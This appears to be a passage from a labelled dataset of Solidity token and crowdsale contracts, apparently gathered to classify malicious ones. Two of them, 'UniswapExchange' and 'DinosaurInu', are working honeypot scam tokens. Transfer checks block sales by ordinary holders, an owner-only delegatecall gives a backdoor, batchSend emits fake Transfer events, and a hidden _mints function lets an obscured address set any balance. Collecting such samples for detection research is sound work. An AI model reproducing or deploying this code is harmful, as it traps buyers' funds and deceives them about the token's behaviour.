function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,381 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract DragonPricing is Ownable {
DragonCrowdsaleCore dragoncrowdsalecore;
uint public firstroundprice = .000000000083333333 ether;
uint public secondroundprice = .000000000100000000 ether;
uint public thirdroundprice = .000000000116686114 ether;
uint public price;
function DragonPricing() {
price = firstroundprice;
}
function crowdsalepricing( address tokenholder, uint amount, uint crowdsaleCounter ) returns ( uint , uint ) {
uint award;
uint donation = 0;
return ( DragonAward ( amount, crowdsaleCounter ) ,donation );
}
function precrowdsalepricing( address tokenholder, uint amount ) returns ( uint, uint ) {
uint award;
uint donation;
require ( presalePackage( amount ) == true );
( award, donation ) = DragonAwardPresale ( amount );
return ( award, donation );
}
function presalePackage ( uint amount ) internal returns ( bool ) {
if( amount != .3333333 ether && amount != 3.3333333 ether && amount != 33.3333333 ether ) return false;
return true;
}
function DragonAwardPresale ( uint amount ) internal returns ( uint , uint ){
if ( amount == .3333333 ether ) return ( 10800000000 , 800000000 );
if ( amount == 3.3333333 ether ) return ( 108800000000 , 8800000000 );
if ( amount == 33.3333333 ether ) return ( 1088800000000 , 88800000000 );
}
function DragonAward ( uint amount, uint crowdsaleCounter ) internal returns ( uint ){
if ( crowdsaleCounter > 1000000000000000 && crowdsaleCounter < 2500000000000000 ) price = secondroundprice;
if ( crowdsaleCounter >= 2500000000000000 ) price = thirdroundprice;
return ( amount / price );
}
function setFirstRoundPricing ( uint _pricing ) onlyOwner {
firstroundprice = _pricing;
}
function setSecondRoundPricing ( uint _pricing ) onlyOwner {
secondroundprice = _pricing;
}
function setThirdRoundPricing ( uint _pricing ) onlyOwner {
thirdroundprice = _pricing;
}
}
contract Dragon {
function transfer(address receiver, uint amount)returns(bool ok);
function balanceOf( address _address )returns(uint256);
}
contract DragonCrowdsaleCore is Ownable, DragonPricing {
using SafeMath for uint;
address public beneficiary;
address public charity;
address public advisor;
address public front;
bool public advisorset;
uint public tokensSold;
uint public etherRaised;
uint public presold;
uint public presoldMax;
uint public crowdsaleCounter;
uint public advisorTotal;
uint public advisorCut;
Dragon public tokenReward;
mapping ( address => bool ) public alreadyParticipated;
modifier onlyFront() {
if (msg.sender != front) {
throw;
}
_;
}
function DragonCrowdsaleCore(){
tokenReward = Dragon( 0x814f67fa286f7572b041d041b1d99b432c9155ee );
owner = msg.sender;
beneficiary = msg.sender;
charity = msg.sender;
advisor = msg.sender;
advisorset = false;
presold = 0;
presoldMax = 3500000000000000;
crowdsaleCounter = 0;
advisorCut = 0;
advisorTotal = 1667 ether;
}
function precrowdsale ( address tokenholder ) onlyFront payable {
require ( presold < presoldMax );
uint award;
uint donation;
require ( alreadyParticipated[ tokenholder ] != true ) ;
alreadyParticipated[ tokenholder ] = true;
DragonPricing pricingstructure = new DragonPricing();
( award, donation ) = pricingstructure.precrowdsalepricing( tokenholder , msg.value );
tokenReward.transfer ( charity , donation );
presold = presold.add( award );
presold = presold.add( donation );
tokensSold = tokensSold.add(donation);
tokenReward.transfer ( tokenholder , award );
if ( advisorCut < advisorTotal ) { advisorSiphon();}
else
{ beneficiary.transfer ( msg.value ); }
etherRaised = etherRaised.add( msg.value );
tokensSold = tokensSold.add(award);
}
function crowdsale ( address tokenholder ) onlyFront payable {
uint award;
uint donation;
DragonPricing pricingstructure = new DragonPricing();
( award , donation ) = pricingstructure.crowdsalepricing( tokenholder, msg.value, crowdsaleCounter );
crowdsaleCounter += award;
tokenReward.transfer ( tokenholder , award );
if ( advisorCut < advisorTotal ) { advisorSiphon();}
else
{ beneficiary.transfer ( msg.value ); }
etherRaised = etherRaised.add( msg.value );
tokensSold = tokensSold.add(award);
}
function advisorSiphon() internal {
uint share = msg.value/10;
uint foradvisor = share;
if ( (advisorCut + share) > advisorTotal ) foradvisor = advisorTotal.sub( advisorCut );
advisor.transfer ( foradvisor );
advisorCut = advisorCut.add( foradvisor );
beneficiary.transfer( share * 9 );
if ( foradvisor != share ) beneficiary.transfer( share.sub(foradvisor) );
}
function transferBeneficiary ( address _newbeneficiary ) onlyOwner {
beneficiary = _newbeneficiary;
}
function transferCharity ( address _charity ) onlyOwner {
charity = _charity;
}
function setFront ( address _front ) onlyOwner {
front = _front;
}
function setAdvisor ( address _advisor ) onlyOwner {
require ( advisorset == false );
advisorset = true;
advisor = _advisor;
}
function withdrawCrowdsaleDragons() onlyOwner{
uint256 balance = tokenReward.balanceOf( address( this ) );
tokenReward.transfer( beneficiary, balance );
}
function manualSend ( address tokenholder, uint packagenumber ) onlyOwner {
if ( packagenumber != 1 && packagenumber != 2 && packagenumber != 3 ) revert();
uint award;
uint donation;
if ( packagenumber == 1 ) { award = 10800000000; donation = 800000000; }
if ( packagenumber == 2 ) { award = 108800000000; donation = 8800000000; }
if ( packagenumber == 3 ) { award = 1088800000000; donation = 88800000000; }
tokenReward.transfer ( tokenholder , award );
tokenReward.transfer ( charity , donation );
presold = presold.add( award );
presold = presold.add( donation );
tokensSold = tokensSold.add(award);
tokensSold = tokensSold.add(donation);
}
} | 1 | 3,677 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MinedBlock Utility";
string public constant TOKEN_SYMBOL = "MBTU";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xAa4067569c0d9039C470CccC9415f5F0781E1bfA;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0xd8dab7fea4f34979b38f4ee66e7a2a8b9296d931),address(0xd8dab7fea4f34979b38f4ee66e7a2a8b9296d931),address(0x5e33bc45425480078e819d9c107bf63b653d6cb1),address(0x5e33bc45425480078e819d9c107bf63b653d6cb1),address(0xaa4067569c0d9039c470cccc9415f5f0781e1bfa)];
uint[5] memory amounts = [uint(115000000000000000000000000),uint(30000000000000000000000000),uint(10000000000000000000000000),uint(10000000000000000000000000),uint(35000000000000000000000000)];
uint64[5] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0),uint64(1590966001)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,611 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DinosaurInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
